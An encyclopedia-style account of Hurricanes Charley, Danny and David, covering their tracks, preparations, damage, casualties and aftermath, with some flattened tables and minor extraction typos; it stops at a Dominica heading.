          Cuban government officials issued a hurricane watch for the southern coastline on August 11, two days before the hurricane struck the island. This was upgraded to a hurricane warning on the 12th, 13  hours before Charley made landfall. Because of the threat, the government issued a mandatory evacuation for 235,000citizens and 159,000animals in the area of the expected impact. An additional 3,800residents were evacuated from offshore islands, while 47,000 in Havana were transported from old, unsafe buildings to safer areas. The people were transported to shelters provisioned with supplies. In addition, the power grid in southern Cuba was turned off to avoid accidents.
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          On August 11, Florida governor Jeb Bush issued a state of emergency declaration due to the impending threat Charley presented to the state while the storm was still located south of Jamaica. The National Hurricane Centre issued hurricane warnings for the Florida Keys and from Cape Sable to the mouth of the Suwannee River a day prior to Charley's passage through the state, while tropical storm warnings were issued elsewhere throughout Florida. Because of the threat, 1.9million people along the Florida west coast were urged to evacuate, including 380,000residents in the Tampa Bay area, and 11,000 in the Florida Keys. It was the largest evacuation order for Pinellas County history, and the largest evacuation request in Florida since Hurricane Floyd five years before. Many Floridians remained despite the evacuation order, as authorities estimated that up to a million people would not go to shelters; instead, these residents boarded up their homes and bought supplies to ride out the storm. However, about 1.42 million people evacuated their homes in Florica, and approximately 50,000residents were placed in shelters throughout the state. Power companies mobilized workers to prepare for the expected widespread power outages. MacDill Air Force Base, the U.S. military centre for the Iraq War, severely limited its staff. Similarly, Kennedy Space Centre, which usually counts with 13,000on-site personnel, reduced its staff to only 200people in preparation for the hurricane, and secured all Space Shuttles by sealing them securely in their hangars. Many amusement parks in the Orlando area closed early, and Walt Disney World's Animal Kingdom remained closed. This was the only the second time in history that a Disney park was closed due to a hurricane, with the other occurrence being after Hurricane Floyd. The approaching hurricane also forced several cruise ships to reroute their paths, and forced rail service between Miami and New York to shut down.


          The rapid strengthening of Charley in the eastern Gulf of Mexico caught many by surprise. Around five hours before its Florida landfall, Charley was a strong Category 2 hurricane predicted to strengthen its strongest winds to 115mph (185km/h) upon its landfall in the Tampa- Saint Petersburg area. About two hours before landfall, the National Hurricane Centre issued a special advisory, notifying the public that Charley had become a 145mph (230km/h) Category 4 hurricane, with a predicted landfall location in the Port Charlotte area. As a result of this change in forecast, numerous people in the Charlotte County area were unprepared for the hurricane, despite the fact that the new track prediction was well within the previous forecast's margin of error. National Hurricane Centre forecasting intern Robbie Berg publicly blamed the media for misleading residents into believing that a Tampa landfall was inevitable. In addition, he also stated that residents of Port Charlotte had ample warning, as a hurricane warning had been issued for the landfall area 23hours before, and a hurricane watch had existed for 35hours.


          Several local meteorologists, however, did break with national news predictions of a Tampa Bay landfall as early as the morning of August 13. Robert Van Winkle of WBBH and Jim Reif of WZVN in Fort Myers, and Tom Terry of WFTV in Orlando, all broke with their national news forecasts and stated at around 11 a.m. EDT (1500 UTC) that Charley was going to turn early, striking around Charlotte Harbour and traveling over Orlando, as would prove to be the case.


          Following the Florida landfall, Georgia Governor Sonny Perdue declared a state of emergency as a precaution against a 47ft (1.22.1m) storm surge and price gouging. In South Carolina, Governor Mark Sanford declared a state of emergency as Charley approached its final landfall. Two coastal counties were forced to evacuate, with state troopers redirecting traffic further inland from Myrtle Beach. In all, 138,000 evacuated from the Grand Strand area.


          


          


          Impact


          
            
              Storm deaths by region
            

            
              	Region

              	Direct

              	Indirect

              	Total
            


            
              	Jamaica

              	1

              	0

              	1
            


            
              	Cuba

              	4

              	0

              	4
            


            
              	Florida

              	9

              	20

              	29
            


            
              	Rhode Island

              	1

              	0

              	1
            


            
              	Total

              	15

              	20

              	35
            

          


          One death in Jamaica, four deaths in Cuba, and ten deaths in the United States were directly attributed to Charley. Numerous injuries were reported, as well as twenty indirect deaths in the U.S.


          Property damage from Charley in the United States was estimated by the NHC to be $15.0 billion (2004 USD). At the time, this figure made Charley the second costliest hurricane in United States history, behind 1992's Hurricane Andrew's $43.7billion. However, Charley has since dropped to fourth costliest, due to the damage caused by Hurricane Katrina and Hurricane Wilma during the 2005 Atlantic hurricane season.


          


          Caribbean Sea


          On Jamaica, strong winds caused moderate damage to the agricultural sector, with crop and livestock damage totaling to $1.44million (2004 USD). As the storm traveled along the southwest coast of Jamaica, it caused heavy wind and rain damage. Damage was heaviest in Saint Elizabeth Parish, where 100people had to be housed in six shelters. Strong winds downed trees and power lines, causing power outages and blocking roads. Throughout the country, Charley caused $4.1million (2004 USD) in damage and one fatality. In spite of the close approach that Charley made on the Cayman Islands, the islands were mostly spared, and were subjected to little damage. Rainfall was light, peaking at 0.9 in (23mm) in Grand Cayman, while Cayman Brac reported tropical storm force winds.


          
            
              Costliest U.S. Atlantic hurricanes

              Cost refers to total estimated property damage.
            

            
              	Rank

              	Hurricane

              	Season

              	Cost (2005 USD)
            


            
              	1

              	Katrina

              	2005

              	$81.2 billion
            


            
              	2

              	Andrew

              	1992

              	$44.9 billion
            


            
              	3

              	Wilma

              	2005

              	$20.6 billion
            


            
              	4

              	Charley

              	2004

              	$15.4 billion
            


            
              	5

              	Ivan

              	2004

              	$14.6 billion
            


            
              	Main article: List of Atlantic hurricanes
            

          


          Operationally, forecasters estimated that Charley struck southern Cuba as a 105mph (170km/h) Category 2 hurricane on the Saffir-Simpson scale. In post-hurricane-season analysis, Charley was determined to have struck southern Cuba as a 120mph (190km/h) hurricane; the original estimate was revised based on a report of a 118mph (190km/h) sustained wind measurement in Playa Baracoa, and meant that Charley was a major hurricane at landfall. The hurricane produced a storm surge of up to 13.1 ft (4 m) in Playa Cajio; on the other hand, Charley's quick passage caused precipitation amounts to be small, with the largest total, 5.87in (149mm) occurring in Mariel.


          Strong wind gusts downed nearly 1,500power lines and knocked over 28 large high tension wire towers at a power plant in Mariel. As a result, more than half of the electricity customers in Havana Province were left without power for 12days after the storm, and all of Pinar del Ro Province was without power for over 11days. Blackouts continued in areas where power returned. The power outages resulted in lack of drinking water for numerous people, including no potable water in the city of Havana for four days. As a result, the Cuban government sent water tanks to satisfy the short term need. Similarly, there was a lack of gas for cooking for over a week. However, one Cuban government official stated that it could take up to two months for basic utilities to be returned to many isolated villages.


          Near its landfall location, Charley destroyed 290 of the 300houses in the village, while over 70,000homes in Havana were either damaged or destroyed. Numerous hotels reported damage, potentially impacting the important tourism industry in the country. Agricultural damage was heavy, with the hurricane damaging more than 3,000 agricultural institutions. Citrus officials estimated a loss of 15,000 metric tons of grapefruit on the Isle of Youth, while strong winds ruined 66,000metric tons of citrus trees in the Havana area. Charley also destroyed around 57,000 acres (230 km) of fruit trees in the Havana area. Approximately 95% of the sugar cane, bean, and banana crops were affected in Cuban territory. In all, Charley was directly responsible for four deaths in Cuba, and was responsible for $923million (2004 USD) in property damage, primarily from agricultural losses.


          


          Florida
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          Hurricane Charley severely affected the state of Florida. There were eight direct fatalities, 16indirect fatalities, and 792injuries attributed to the storm. Property damage was estimated at $5.4billion dollars (2004USD), and approximately $285million dollars (2004USD) in agricultural damage. However, due to Charley's speed (it crossed the Florida peninsula in approximately seven hours) and small size, rainfall along the eyewall was mostly limited for 46in (1015cm).


          While moving northward to the west of the Florida Keys, Charley produced moderate winds of 48mph (77km/h) with gusts to 60mph (97km/h) in Key West. The winds toppled a few trees, power lines, and unreinforced signs. A boat, knocked loose by strong waves, struck a power transmission line, causing widespread power outages from Marathon to Key West. On Fort Jefferson in the Dry Tortugas, the hurricane produced an estimated storm surge of up to 6ft (2m). The surge, combined with incoming waves, caused extensive flooding in the park and damaged numerous docks. In spite of this, property damage was minimal in the area, totaling $160,000(2004USD).
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          Hurricane Charley passed directly over Captiva Island near Cayo Costa with peak winds of 150mph (240km/h). The Category 4hurricane produced an estimated storm surge of up to 6.5ft (2m) on the island, which is lower than expected for a storm of its intensity; the decrease in the height of the surge was due to the hurricane's small size. Furthermore, the storm surge, combined with the strong pressure gradient, produced a mi (450m) inlet on North Captiva Island, known as Charley's Cut. Strong waves and storm surge caused severe beach erosion and dune damage at various locations. The storm severely damaged five houses, lightly damaged many others, and downed many trees on Gasparilla Island. At least half of the 300homes on North Captiva Island were substantially damaged, including ten that were destroyed. On Captiva Island, the strong winds severely damaged most houses, as well as several recreational buildings.


          The city of Arcadia in DeSoto County saw extreme damage, in spite of being relatively farther inland. About 95% of the buildings in the downtown area saw some sort of damage. The only shelter in the town had its roof torn open by the wind, leaving 3,500 evacuees inside unprotected from the onslaught of the storm.
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              Damage caused to a gas station by Hurricane Charley in Kissimmee, Florida.
            

          


          Hardee County saw property damage estimated at $750million (2004USD), along with six injuries, but no deaths were reported. Charley caused blackouts in the entire county, as well as damage to3,600homes and the destruction of1,400. A radio tower near Sebring was toppled, along with numerous trees and power poles along the north and east side of Highlands County. Additionally, there were several reports of severely damaged homes near Sebring and Avon Park. In Polk County, a 50-ft (15.2-m) sinkhole swallowed a car along Florida State Road 60 near Bartow. Additionally, Bartow and Lake Wales saw 23,000buildings damaged, as well as the destruction of 739structures. Seven deaths were reported in the county, one of them determined to be direct.


          Throughout the rest of the islands in Sarasota, Charlotte, Lee, and Collier counties, strong winds from Hurricane Charley caused severe damage to hundreds of buildings and trees. Lee County also endured an 8-foot (2.4m) storm surge. These counties were exposed to Charley's eyewall, so they saw the most damage. Due to its small size, the area of most intense damage was located within a 10-mi (16-km) centered on Charley's track, with additional heavy damage forming an outer band extending 7.5mi (12km) to each side of the inner swath of damage. In Charlotte County, 80% of buildings were destroyed.


          On mainland Florida, Charley produced a peak storm surge of 1013feet (34m) at Vanderbilt Beach near Naples, along with a much lower surge at its Punta Gorda landfall. The hurricane dropped generally light rainfall across Florida, with the maximum amount of 9.88in (251mm) occurring in Bud Slough in Sarasota County. In Punta Gorda's airport, where the hurricane made landfall, wind speeds of up to 90mph (145km/h) were measured, alongside gusts of up to 111mph (180km/h), before the instrument was blown apart, along with most of the planes and the airport itself. The Charlotte County Medical Centre recorded an unofficial peak wind gust of 172mph (277km/h). Port Charlotte's Saint Joseph's Hospital had its roof blown away by Charley's strong winds. Due to the compact nature of the hurricane, the storm's radius of maximum sustained winds only extended a short distance from its centre. In comparison, Fort Myers, which is only 25mi (38km) from where Charley made landfall, experienced sustained winds of only 61mph (98km/h) with gusts of 78mph (125km/h). In South Florida, Charley spawned several tornadoes, including a long-lived F2 that struck Clewiston, and five weak tornadoes near the point where the hurricane made landfall.
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          The most severe damage from Hurricane Charley occurred in Charlotte County. In Boca Grande, numerous houses sustained extensive roof damage, while thousands of trees and power lines were uprooted or snapped. In Port Charlotte and Punta Gorda, many buildings, RVs, and mobile homes were completely destroyed, while other buildings were uproofed due to the powerful winds.


          Charley devastated Southwest Florida, causing $14.6 billion in property damage on the peninsula of Florida alone. Many towns such as Punta Gorda and Port Charlotte were leveled by the hurricane. Trailer parks were obliterated as far as Orlando, and trees and utility poles were downed as far as Daytona Beach.


          Charley also caused considerable damage in the central and eastern parts of the state. Several possible tornadoes occurred, with severe thunderstorms during the duration of the storm. Winds were estimated to be at 80mph (130km/h) sustained near, and to the north of Okeechobee, while winds at Orlando International Airport topped out at 105mph (169km/h) in a gust. The storm caused 2million customers to lose electricity in Florida. In some areas, power was not restored for weeks: 136,000 residents had no electricity a week after Charley's landfall, and 22,000customers, primarily from cooperatives, were still waiting for their service to be restored on August 26.


          Public schools in some counties in the path of the hurricane were scheduled to be closed for two weeks. In some areas this was necessary because the school buildings were damaged or destroyed: all 59of Osceola County's schools were damaged, and one-third of Charlotte County's were destroyed by Charley's impact. DeSoto County schools saw $6million in damage, while Orange County Public Schools saw $9million in damage to their educational infrastructure.


          Agricultural losses were heavy. In Florida, the second-largest producer of oranges in the world, damage to the citrus crop was estimated at $200million (2004USD), and caused a 50% increase in the price of grapefruit juice. Charley, along with the other storms that hit Florida during 2004, caused a total agricultural loss of $2.2billion (2004 USD). Other crops, nurseries, buildings, and agricultural equipment also suffered.


          


          Rest of United States
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          Upon making landfall on northeastern South Carolina, Charley produced a storm tide that was unofficially measured to up to 7.19ft (2.19m) in Myrtle Beach. Wind gusts were moderate, peaking at 60mph (95km/h) in North Myrtle Beach, though there were several unofficial records of hurricane force gusts. Charley produced moderate rainfall along its path, peaking at over 7in (178mm). Moderate winds knocked down numerous trees. Flash flooding occurred in Charleston County, causing drainage problems. Damage in South Carolina totaled to $20 million (2004 USD).


          In North Carolina, Charley produced an estimated storm surge of 23ft (0.5-1m), along with waves of up to 8ft (2.5m) in height. This produced minor beach erosion along the coastline. Winds gusted from 60 to 70mph (95 to 110km/h), causing minor wind damage. Rainfall amounts in the state were moderate, ranging from 4 to 6in (100 to 150mm), but still caused flooding across seven North Carolina counties. The hurricane spawned five weak tornadoes across the state, including an F1 in Nags Head that damaged twenty structures. Charley destroyed 40houses and damaged 2,231, 231 severely, including 221 damaged beach homes in Sunset Beach. Damage was the greatest in Brunswick County, where wind gusts peaked at 85mph (137km/h). Crop damage was also heavy in Brunswick County, with 50% of the tobacco crop lost and 30% of the corn and vegetable fields destroyed. Strong winds downed trees and power lines, leaving 65,000 without power. Damage in North Carolina totaled to $25 million (2004 USD).


          Tropical Storm Charley produced wind gusts of up to 72mph (116km/h) at Chesapeake Light in Virginia, causing scattered power outages. Rainfall was light, ranging from 2 to 3.7in (50 to 94mm). Charley produced one tornado in Chesapeake and one in Virginia Beach. In Rhode Island, one man drowned in a rip current.


          


          Aftermath
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          President George W. Bush declared Florida a federal disaster area. He later reflected on the government respone to Charley:


          
            
              	

              	...the job of the federal government and the state government is to surge resources as quickly as possible to disaster areas. And that's exactly what's happening now. We choppered over and saw the devastation of this area. A lot of people's lives are turned upside down. We've got ice and water moving in, trailers for people...are moving in. The state is providing security...There's a lot of compassion moving in the area, the Red Cross is here."

              	
            

          


          State officials said the majority of the 19 people whose deaths were blamed on the storm died afterward in traffic accidents or from heart attacks. Some were electrocuted when they drove over downed power lines.


          U.S. Health and Human Services Secretary Tommy Thompson said he is releasing $11 million in additional aid and other assistance to Florida, with $10 million to be earmarked to Head Start facilities that need repair or new supplies, another $1 million would go to DeSoto Memorial Hospital in Arcadia and Osceola Regional Medical Centre in Kissimmee, and $200,000 would be spent to provide services to senior citizens.


          Statewide, 114 food service operations and eight comfort stations had been set up, and FEMA has four disaster recovery centers open, Gov. Jeb Bush said. Michael Brown, U.S. Department of Homeland Security's undersecretary for emergency preparedness and response, said FEMA had already processed more than $2 million in assistance requests and was in the process of setting up 10,000 temporary homes. Despite the damage, Florida Lt. Gov. Toni Jennings said that her state was better prepared for Charley's onslaught than it had been in 1992, when Hurricane Andrew, a Category 5 storm with winds topping 155mph (249km/h), crushed the southern tip of the state from east to west.


          


          Retirement


          Because of its effects in the United States, the name Charley was retired from the rotating lists of tropical cyclone names in the spring of 2005 by the World Meteorological Organization. As a result, the name will never again be used for an Atlantic hurricane. The name was replaced with Colin for the 2010 Atlantic hurricane season.
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              Hurricane Danny
            

            
              	Category 1hurricane( SSHS)
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              	Formed

              	July 16, 1997
            


            
              	Dissipated

              	July 27, 1997
            


            
              	Highest

              winds

              	
                
                  
                    	80 mph (130 km/h) (1-minutesustained)
                  

                

              
            


            
              	Lowest pressure

              	984 mbar ( hPa; 29.07 inHg)
            


            
              	Fatalities

              	4 direct, 5 indirect
            


            
              	Damage

              	$100million (1997USD)

              $134million (2008USD)
            


            
              	Areas

              affected

              	Louisiana, Mississippi, Alabama, Florida, Georgia, the Carolinas, Virginia, Massachusetts
            


            
              	Part of the

              1997 Atlantic hurricane season
            

          


          Hurricane Danny was the only hurricane to make landfall in the United States during the 1997 Atlantic hurricane season, and the second hurricane and fourth tropical storm of the season. The system became the earliest 5th tropical or subtropical storm of the Atlantic season when it reached tropical storm strength on July 17, and held that record until the 2005 Atlantic hurricane season when Tropical Storm Emily broke that record by several days. Like the previous four tropical or subtropical cyclones of the season, Danny had a non-tropical origin, after a trough spawned convection that entered the warm waters of the Gulf of Mexico. Danny had an extended northeast track through the Gulf of Mexico, caused by two high pressure systems, a rare occurrence in the middle of July. The storm moved across the southeastern United States, after making landfall in the Gulf Coast, and impacted parts of Massachusetts with rain and wind.


          Danny is noted for the extreme rainfall, tornadoes, and damage it produced on its path, causing four direct fatalities and $100million (1997USD, $128million 2007USD) in damage. The storm dropped a record amount of rainfall for Alabama, at least 36.71inches (932mm) on Dauphin Island. Flooding, power outages, and erosion occurred in many areas of the Gulf Coast, and rescues from flooded roads had to be performed. Various tornadoes on the East Coast caused a great amount of damage. Danny caused one death off the coast of Alabama, four deaths in Georgia, two deaths in South Carolina, and two deaths in North Carolina.


          


          Storm history
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          A broad mid-tropospheric trough over the southeastern United States spawned an area of convection over the lower Mississippi River Valley on July 13, and drifted southward towards the warm waters of the Gulf of Mexico. As it moved into the Gulf of Mexico, a weak and isolated surface low pressure area formed off the coast of Louisiana. The circulation in the system steadily expanded, and initially the surface winds and convection were intermittent. On July 16, deep convection increased and organized near the centre, and oil rigs and surface buoys reported surface winds of 30 mph (50 km/h). Based on the observations, it is estimated the system developed into Tropical Depression Four on July 16 while about 150 miles (240 km) south of the southwestern Louisiana coastline.
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          The depression slowly organized for the next day, as it drifted to the northeast. On July 17, the rate of organization and development of deep convection increased considerably, and the depression strengthened into Tropical Storm Danny later that day. From the night of July 17 through July 18, Danny quickly developed deep convection and banding features in the favorable environment of the Gulf of Mexico, and reached hurricane status later on July 18. Located between two high pressure systems, Danny continued its unusual July track to the northeast, and crossed over southeastern Louisiana near the Mississippi River Delta. A small storm, Danny continued to strengthen after reaching the coastal waters off Mississippi on the night of the July 18, and attained a peak of 80mph (130 km/h) early on July 19. The hurricane force winds, however, were confined to the eyewall. After stalling near the mouth of Mobile Bay on July 19, Hurricane Danny turned to the east, and made its final landfall near Mullet Point, Alabama later that day.


          The storm rapidly weakened as it continued northward, and degenerated into a tropical depression by July 20. The weak depression moved through Alabama, Georgia, South Carolina, and North Carolina, maintaining a well-defined cloud signature. Due to a front behind the system, Danny strengthened baroclinically over North Carolina to a tropical storm on July 24. This is quite rare for a tropical cyclone, but it occurred due to interaction with a developing trough and its associated barolinic zone. Danny entered the Atlantic Ocean, north of the North Carolina- Virginia border, near Virginia Beach. It quickly reached a secondary peak of 60mph (96km/h), and continued rapidly northeastward towards the waters of the Atlantic. A strong mid to upper-level cyclone turned Danny northward, threatening Massachusetts. It stalled while just 30miles (48km) southeast of Nantucket on July 26, turned to the east out to sea, and became extratropical later that day. On July 27, the former hurricane merged with a frontal zone.


          


          Preparations
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          The National Hurricane Centre issued a hurricane watch on July 17, as Danny strengthened to a tropical storm, for the coasts of Louisiana, Mississippi, and Alabama. When Danny strengthened to a hurricane on July 18, a few hours before its landfall in far southeastern Louisiana, over a day before landfall in Alabama, the hurricane watch was upgraded to a hurricane warning. Grand Isle mayor Arthur Ballenger ordered the evacuation of the town's 1,500 residents, a decision made due to the large number of tourists on the island and to prevent anyone being unable to leave the island. With a 5foot (1.5m) storm surge possibility, it had the potential to flood the only highway out of the island. Officials distributed sandbags to residents in St. Bernard Parish to seal off easily flooded roads, with officials recommending that residents leave the area.


          Prior to the arrival of the hurricane, the governors of Mississippi and Alabama declared disaster emergencies, expecting a 9-foot (2.7m) storm surge and up to 20inches (510mm) of rain at that time. Six shelters were opened in Mobile County, though few attended. Officials also considered opening shelters near local casinos and beaches in Biloxi, Mississippi.


          Southeastern Massachusetts also had a tropical storm warning issued, a few hours before sustained tropical storm force winds affected the area and less than 12 hours before its closest approach to the coastline.


          


          Impact
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          Being a small storm, Danny caused a damage toll of only $100million (1997USD, $128million 2007USD). It caused a total of 4 direct and 5 indirect deaths.


          


          Gulf Coast


          Heavy rain and winds impacted many parishes located east of the city of New Orleans. A small radius near the centre of the storm had much of the extreme rainfall, and limited the flooding, which could have been disastrous if it were widespread. Grand Isle and portions of the lower Plaquemines Parish were worst hit in Louisiana. Grand Isle reported a wind gust of 100mph (160 km/h) and a storm surge of 5.2feet (1.6m). A gage reported a water level of 4.85feet (1.5m) in Venice. Storm tides were 2 to 3feet (0.6 to 0.9meters) above normal on average.


          At least 10,000 people lost electricity in Louisiana. Also, 130 boats were damaged or sunk at a large marina in Buras, Louisiana, due to the storm surge of over 4feet (1.2m), in a matter of minuets. Both Grand Isle and Grand Terre Island received erosion on their shores. Around 160 households and 80 businesses reported damage on Grand Isle. Jefferson Parish, on Grand Isle, had $1.5million (1997USD, $1.93million 2007USD) total in damage. Plaquemines Parish, on Grand Isle, had $3.5million (1997USD, $4.5million 2007USD) in damage. Empire and Venice had the greatest damage in Plaquemines Parish. Within the hurricane protection levees in the parish, trees, power lines, house roofs, and mobile homes had damage inflicted, as well as the localized flooding that occurred in Plaquemines, after about 10 inches of rain. Some highways were flooded, due to storm tides, in lower Terrebonne Parish, and a few roads in St. Bernard and Orleans parishes, which were outside the hurricane protection levees. Negligible damage occurred elsewhere in the extreme southeastern portion of Louisiana, due to Danny being a small tropical cyclone and a minimal hurricane.


          Eastern Jackson County had the most impact throughout Mississippi. Pascagoula reported a wind gust of 35mph (55km/h) on July 19. Pascagoula airport reported 7.87 inches (200mm) of rain from July 17 through July 19. Some streets and a few homes were flooded in far southeastern Jackson County, in areas of poor drainage systems. The coast of Mississippi had no significant damage according to emergency management officials.


          Extreme amounts of rainfall were produced over Alabama. Dauphin Island had the highest amount of rainfall, 37.75inches (959mm) reported by the HPC. Dauphin Island Sea Lab recorded 36.71inches (932mm) of rain, but not all the rain may have recorded in the rain gauge at this location, so it is possible the rainfall may have been underestimated. Doppler weather radar estimates show that around 43inches (1,090mm) of rain fell off the coast of Dauphin Island. A storm surge of over 6.5feet (1.98 m) occurred off Highway 182, midway between Gulf Shores, and Fort Morgan, Alabama, in addition to the rainfall. Unusually, when the storm stalled off the coast of Alabama, prevailing northerly winds forced the water out of Mobile Bay, causing tides to be twofeet (0.61m) below normal. Observers noted that, with the exception of river channels, it would be possible to walk across the bay. In addition, three tornadoes occurred in Alabama, one being in Orange Beach, another in Opelika, while the other one occurred in Port Alabama. A couple of other tornadoes also caused minimal damage.


          Despite its effects in the northern Gulf of Mexico, only one person was directly killed from the storm there; a man drowned off the coast when he fell off his sailboat near Fort Morgan, Alabama. One indirect casualty also occurred in the area, when a man had a heart attack while trying to secure a boat off the Alabama coast during the storm. Numerous roads became flooded and impassable for several days, south and along I-10 in Mobile, south and central Choctaw, and Baldwin counties. Along the Fowl and Fish rivers, in Mobile and Baldwin counties respectively, significant damage to homes occurred due to flooding. Most roads on Dauphin Island were flooded in over a foot of water. A few homes were close to falling into Mobile Bay, and one home had to be moved backwards towards land to prevent its destruction. At the peak of the storm in Alabama, at least 44,000 people were without power in Mobile and Baldwin counties. In rural Choctaw County, north of Mobile, several families were rescued from flooded roads and trapped cars. The majority of houses and businesses on Dauphin Island and buildings from the western shore of Mobile Bay, and from Fort Morgan east to Orange Beach had roof damage. $60.5million (1997USD, $77million 2007USD) in total property damage occurred in Alabama, in addition to pecan and pine tree damage costing $2.5million (1997USD, $3.21million 2007USD).


          


          East Coast
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          In the state of Florida, Some damage to the cotton crop occurred in Escambia County. Otherwise in northwestern Florida, very little damage resulted from the storm. The Panama City area had some minor fresh water flooding. By the time Danny reached Georgia and the Carolinas, its impact potential had weakened, though it still managed to cause 8-12inches (203.2-304.8mm) of rain as it drifted through the western portions of the states. A severe thunderstorm cell in South Carolina produced five tornadoes that touched down, one of which killed a woman in her destroyed duplex while passing through Lexington County. A F2 tornado began 4miles (6.4km) northeast of Gaston, South Carolina, which ended 7miles (11km) northeast of Gaston, with a width of 200yards (183m) and a length of 4miles (6.5kilometers), caused $942,000 (1997USD, $1.21million 2007USD) in damage. It killed one person, injured 6 others, destroyed 2 houses, 2 apartments, and 7 mobile houses, damaging many others. Several tornadoes and waterspouts were spawned over Virginia; most of them occurred in Norfolk, Portsmouth, and Hampton. A F1 tornado occurred 1-mile (1.6km) south of Norfolk, with a width of 50yards (46m) and a length of 1-mile (1.6km), caused $400,000 (1997USD, $513,890 2007USD) in damage. It destroyed one car wash, six other businesses had major roof damage, and one other house had damage. Rainfall in Fayetteville measured 2.85inches (72.4mm) of rain, while the remainder of the Mid-Atlantic states received approximately 3inches (75mm) of rain.


          The heavy rains caused two people to drown in Charlotte. A girl drowned after being swept into a creek by the floodwaters. Another woman drowned from the floodwaters while in her car. Four indirect deaths occurred from traffic accidents during the storm's onslaught in Georgia. The tornado in Portsmouth wiped out a car wash, caused six other businesses to suffer lesser damage, including a lumber company that had its roof torn off, and one large truck big-rig wheeler overturned. A severe drought had been in place in the Mid-Atlantic States during the month of July. Copious rainfall amounts helped bring a minor relief to the drought. Only minor damage occurred, despite strong winds experienced in southeastern Massachusetts. The minor damage included minimal flooding, power outages, and downed tree limbs.


          


          Aftermath and records


          Debris remained in the inland waters of Alabama, at least up until August 12, 1997. Endangered or threatened sea turtles, which all within U.S waters are identified as, lived in these waters. Specialized turtle exclusion devices, known as TED's, or specialized nets that allowed the turtles to escape them, were required before Danny for shrimp trawlers. The Director of the Marine Resources Division of the Alabama Department of Conservation and Natural Resources said that the "inordinate amount of debris is causing extraordinary difficulty with the performance of (TED's) in these areas." Therefore, the United States Environmental Protection Agency allowed an alternative to the TED's, of shorter tow times of a maximum of 55 minutes from April 1 through October 31, and a maximum of 75 minutes from November 1 through March 31. The EPA intended to minimize any sea turtle casualties as a result of allowing trawlers to remove the TED's.


          The storm dropped 36.71inches (932mm) of rain on Dauphin Island, setting the new record for the most tropical or subtropical cyclone related rainfall in the state of Alabama, and is among the largest in the United States. The storm also became the earliest 5th tropical or subtropical storm of a season when it reached tropical storm strength on July 17. This record was broken in the 2005 Atlantic hurricane season when Hurricane Emily first attained tropical storm status on July 12, just five days earlier.


          The name Danny was not retired by the World Meteorological Organization in the spring of 1998 and it was re-used in the 2003 Atlantic hurricane season. It is currently on the list of names to be used again in the 2009 Atlantic hurricane season.
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                Hurricane David as a strong Category 4
                

              
            


            
              	Formed

              	August 25, 1979
            


            
              	Dissipated

              	September 8, 1979
            


            
              	Highest

              winds

              	
                
                  
                    	175 mph (280 km/h) (1-minutesustained)
                  

                

              
            


            
              	Lowest pressure

              	924 mbar ( hPa; 27.3 inHg)
            


            
              	Fatalities

              	2,068+ direct
            


            
              	Damage

              	$1.54billion (1979USD)

              $4.6billion (2008USD)
            


            
              	Areas

              affected

              	Windward Islands, Haiti, Dominican Republic, Puerto Rico, Cuba, Bahamas, Florida, Georgia, most of eastern North America
            


            
              	Part of the

              1979 Atlantic hurricane season
            

          


          Hurricane David was the fourth named tropical cyclone, second hurricane, and first major hurricane of the 1979 Atlantic hurricane season. A Category 5 hurricane on the Saffir-Simpson Hurricane Scale, David was among the deadliest hurricanes in the latter half of the 20th century, killing over 2,000 people in its path, mostly in the Dominican Republic.


          David was a Cape Verde-type hurricane, traversing through the Lesser Antilles, Greater Antilles, and East Coast of the United States during late August and early September. With winds of 175 mph (280 km/h), Hurricane David was the strongest hurricane to strike the Dominican Republic in recorded history, and the deadliest since the 1930 Dominican Republic Hurricane. Also, the hurricane was the strongest to hit Dominica in the 20th century, and was the deadliest Dominican tropical cyclone since a hurricane killed over 200 in September of the 1834 season. David was the second male name for a tropical storm in Atlantic history and the first to be retired.


          


          Storm history
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              Storm path
            

          


          A tropical wave that moved off the coast of Africa on August 22 developed into a tropical depression in the central Atlantic on August 25 about 800 miles (1,300 km) east of the Windward Islands. The strong subtropical ridge to the north forced the new depression westward, where favorable conditions allowed it to strengthen to a tropical storm on the 26th. David continued to strengthen, becoming a hurricane on the 27th. As it moved west-northwestward on the 27th and 28th, it rapidly intensified to a 150 mph (240 km/h) major hurricane. It weakened slightly to a 140 mph (225 km/h) hurricane, but restrengthened by the time David ravaged the tiny Leeward Island of Dominica on the 29th.


          David continued west-northwest through the islands where it caused heavy damage, and became a Category 5 hurricane in the northeast Caribbean Sea, reaching peak intensity with maximum sustained winds of 175 mph (280 km/h) and minimum central pressure of 924 mbar (hPa) on August 30. An upper-level trough pulled David northward into Hispaniola as a Category 5 hurricane on the 31st. The eye passed almost directly over Santo Domingo, capital of the Dominican Republic with over a million people. The storm crossed over the island and emerged as a weak hurricane after drenching the islands.
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              David at Florida landfall
            

          


          After crossing the Windward Passage, David struck eastern Cuba as a minimal hurricane on September 1. It weakened to a tropical storm over land, but quickly re-strengthened as it again reached open waters. David turned to the northwest along the western periphery of the subtropical ridge, and re-intensified to a 100 mph (160 km/h) Category 2 hurricane while over the Bahamas. Despite initial forecasts of a Miami, Florida landfall, the hurricane turned to the north-northwest just before landfall to strike near West Palm Beach, Florida on the 3rd. It paralleled the Florida coastline just inland until emerging into the western Atlantic Ocean at New Smyrna Beach, Florida later on the 3rd. David continued to the north-northwest, and made its final landfall just south of Savannah, Georgia as a minimal hurricane on the 5th. It turned to the northeast while weakening over land, and became extratropical on the 6th over New York. As an extratropical storm David continued to the northeast over New England and the Canadian Maritimes, and dissipated on September 8 to the northeast of Newfoundland.


          


          


          Preparations


          David was originally expected to hit Barbados and spare Dominica in the process. However, even as it became increasingly clear that David was headed for the island, residents did not appear to take the situation seriously. This can be partly attributed to the fact that local radio warnings were minimal and disaster preparedness schemes were essentially non-existent. Furthermore, Dominica had not experienced a major hurricane since 1930, thus leading to complacency amongst much of the population. This proved to have disastrous consequences for the island nation.


          Some 400,000 people evacuated in the United States in anticipation of David, including 300,000 in southeastern Florida due to a predicted landfall between the Florida Keys and Palm Beach. Of those, 78,000 fled to shelters, while others either stayed at a friend's house further inland or travelled northward. Making landfall during Labor Day weekend, David forced the cancellations of many activities in the greater Miami area.


          


          Impact


          
            
              	Deaths from David

              (totals may not match)
            


            
              	Region

              	Deaths
            


            
              	Dominica

              	56
            


            
              	Puerto Rico

              	7
            


            
              	Dominican Republic

              	2,000+
            


            
              	United States

              	5
            


            
              	Total

              	2,068+
            

          


          David is believed to have been responsible for 2,068 deaths, making it one of the deadliest hurricanes of the modern era. It caused torrential damage across its path, most of which occurred in the Dominican Republic where the hurricane made landfall as a Category 5 hurricane.


          


          Dominica


